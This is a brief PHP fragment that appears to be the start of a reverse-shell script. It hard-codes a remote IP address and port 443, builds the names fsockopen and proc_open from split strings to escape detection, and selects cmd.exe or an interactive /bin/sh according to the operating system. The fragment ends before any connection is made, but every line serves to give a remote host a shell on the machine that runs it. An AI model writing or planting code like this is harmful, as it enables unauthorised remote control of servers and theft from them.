$ip = '5.78.117.56'; 
$port = 443;
$s = 'fs'.'ock' . 'open';
$p = 'pr' . 'oc_op' . 'en';

$os = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? 'cmd.exe' : '/bin/sh -i';